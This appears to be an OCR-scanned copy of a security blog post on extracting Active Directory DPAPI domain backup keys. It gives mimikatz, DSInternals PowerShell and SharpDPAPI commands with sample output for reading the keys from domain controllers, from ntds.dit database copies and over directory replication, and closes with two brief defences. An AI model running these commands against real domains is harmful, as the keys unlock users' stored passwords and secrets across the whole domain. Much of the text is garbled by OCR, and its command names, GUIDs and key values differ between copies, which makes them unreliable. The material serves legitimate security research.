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The Data Protection API (DPAPI) is used by several components of Windows to securely store passwords,
encryption keys and other sensitive data. When DPAPI is used in an Active Directory domain environment, a copy
of user’s master key is encrypted with a so-called DPAPI Domain Backup Key that is known to all domain
controllers. Windows Server 2000 DCs use a symmetric key and newer systems use a public/private key pair.

If the user password is reset and the original master key is rendered inaccessible to the user, the user’s access

to the master key is automatically restored using the backup key.

The Mimikatz Method

Benjamin Delpy has already found a way to extract these backup keys from the LSASS of domain controllers.

It is implemented in the 1lsadump::backupkeys mimikatz command and it even works remotely:

9 mimikatz 2.0 alpha x&4 {ce.eo)

imikatz # lsadump::bhackupkeys sexport ssystem:lon—-dcl

urrent prefered key: {hicShale—ddf7-4idd-a5f3—44aZed27a?6d>
= RSA key
Exportabhle key YES
i 2048

Key size

Private export O — 'ntds_capi_@_bicS6ade—ddf 7-41dd-a5f3-44aZed27a?6d.puvk’

PFH container 0K — 'ntds_capi_@_blc56ade—ddf 7—41dd-a5f3-44aZed27a?6d.pfx’
OK — 'ntds_capi_@_bicS6ade—ddf 7-41dd-a5f3-44aZed27a?6d.der’

Export
ompatibility prefered key: {7882b2Be-%6ef—4ceb—aZ2bh?-3efdcchhce2d’
#* Legacy key
4d8af aBed73£997fdB467d7de30b5f67a3bh?d 7143360246601 4cBal1d 732
hSch?A7262a4108c15Ae?64aaal64871e15610ab66123283hhAB3alfeah3?18
6?92hhbBdbe?463ecdi3B2ddb3fIb6711ddYeb24dBBe467hdcdB8de555f16d5%e
48f h6daab6B3f150bh449f 8430647 7a4373442791d8d215e9f adB265 741 dech
PhcedebiBhelBBeebf 645a42f 30925554d861Bcah?83b3378785bbad4193251
Ad8fc2fdc992cc38c133ecifbhlde2c45h4e59abhd?53hf 28ec53B8d4del f FBe3?
29 febobof@7633d8d1e3h?9762dbf172cfal 8801 aBeh51h54b86766c184f 68al
?3941e292feB42h4B3abB6af fccB25he?Bad9cdadaf becef Ach?4hfBlcd3Pad?

Export : OK - 'ntds_legacy_B_7882h2Be—-%6ef—4ceb—a2h?-3efdecchbhce2d _key’

DSInternals Implementation

This attack is also implemented in my DSInternals PowerShell module:

Get-LsaBackupKey -ComputerName dc@1.contoso.com

Save-DPAPIBlob -DirectoryPath '.\Output'

SharpDPAPI Implementation

The same sttack technique has also been implemented in GhostPack:
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Key Storage

I have taken Benjamin’s research one step further and I can now extract these keys directly from the Active

Directory database, where they are physically stored:

Eile  Action  Miew Help
e #E B8 B0 Hm 3aETES

b || Prograrn Data |~ || Mame Type
b (2] Research ] AdminSDHolder Caontainer

b (2] Sales I:‘ BCKLIF'KE‘r’_?BEEhEIDE-96&f-4ce5-32h9-3efdcchthEB Secret secret

4[] System BCKUPKE‘\’_}J'Ic5633e-ddf?-41dd-anE-MaEedE?aQﬁd secret  secret
b [ AdminSDHo || [ BCKUPKEY P Secret secret
b (] ComPartitiol || [ By IpKEY_PREFERRED Secret secret

T CamPaditiag h
< m > m

The keys are stored in the currentValue attribute of objects whose names begin with BCKUPKEY
and are of class secret. The BCKUPKEY_PREFERRED Secret and BCKUPKEY_P Secret objects actually

only contain GUIDs of objects that hold the current modern and legacy keys, respectively.

Furthermore, the currentValue attribute is encrypted using BootKey (aka SysKey) and is never sent through

LDAP. After decrypting it, we will get a self-signed certificate with no subject:
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M Certificate X

General Details Certification Path

@a Certificate Information

This CA Root certificate is not trusted. To enable trust,
install this certificate in the Trusted Root Certification
Authorities store.

Issued to:

Issued by:

Valid from 4/11/2019 to 4/10/2020

Install Certificate...| = Issuer Statement

The Database Dump Method

The Get-BootKey, Get-ADDBBackupKey and Save-DPAPIBlob cmdlets from my DSInternals PowerShell
Module can be used to retrieve the DPAPI Domain Backup Keys from ntds.dit files:

# We need to get the BootKey from the SYSTEM registry hive first:
Get-BootKey -SystemHiveFilePath 'C:\IFM\registry\SYSTEM'

<#
Qutput:

41e34661faa0d182182f6ddfefAcadd1

#>

# Now we can decrypt the DPAPI backup keys from the database:
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Get-ADDBBackupKey -DBPath 'C:\IFM\Active Directory\ntds.dit' *
-BootKey 41e34661faa@d182182f6ddf@fdcabd1 |

Format-List

<t
Qutput:

Type : LegacyKey

DistinguishedName : CN=BCKUPKEY_7882b20e-96ef-4ce5-a2b9-3efdccbbce28 Secret,CN=System,DC=Adatum,DC=com
RawKeyData : {77, 138, 250, 6...}

KeyId : 7882b20e-96ef-4ce5-a2b9-3efdcchbce28

Type : PreferredlLegacyKeyPointer

DistinguishedName : CN=BCKUPKEY_P Secret,CN=System,DC=Adatum,DC=com
RawKeyData : {14, 178, 130, 120...}

KeyId : 7882b20e-96ef-4ce5-a2b9-3efdcchbce28

Type : RSAKey

DistinguishedName : CN=BCKUPKEY_b1c56a3e-ddf7-41dd-a5f3-44a2ed27a96d Secret,(N=System,DC=Adatum,DC=com
RawKeyData : {48, 130, 9, 186...}

KeyId : blc56a3e-ddf7-41dd-a5f3-44a2ed27a96d

Type : PreferredRSAKeyPointer
DistinguishedName : CN=BCKUPKEY_PREFERRED Secret,(N=System,DC=Adatum,DC=com
RawKeyData : {62, 106, 197, 177...}
KeyId : blc56a3e-ddf7-41dd-a5f3-44a2ed27a96d
#>
# In most cases, we just want to export these keys to the file system:
Get-ADDBBackupKey -DBPath 'C:\IFM\Active Directory\ntds.dit' *
-BootKey 41e34661faadd182182f6ddf0f0caddl |
Save-DPAPIBlob -DirectoryPath .\Keys
# New files should have been created in the Keys directory:

(dir .\Keys).Name

<#
Qutput:

ntds_capi_b1c56a3e-ddf7-41dd-a5f3-44a2ed27a96d.pfx
ntds_legacy_7882b20e-96ef-4ce5-a2bh9-3efdccbbce28. key

#>

Note that mimikatz would name these files similarly.
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The DRSR Method

The same result can be achieved by communicating with the Directory Replication Service using the Get-
ADReplBackupKey cmdlet:

Get-ADReplBackupKey -Domain 'Adatum.com' -Server LON-DC1 |
Save-DPAPIBlob -DirectoryPath .\Keys

Defense

I am already starting to repeat myself:

e Restrict access to domain controller backups.

e Be cautious when delegating the Replicating Directory Changes All right.

Source: https://www.dsinternals.com/en/retrieving-dpapi-backup-keys-from-active-directory/
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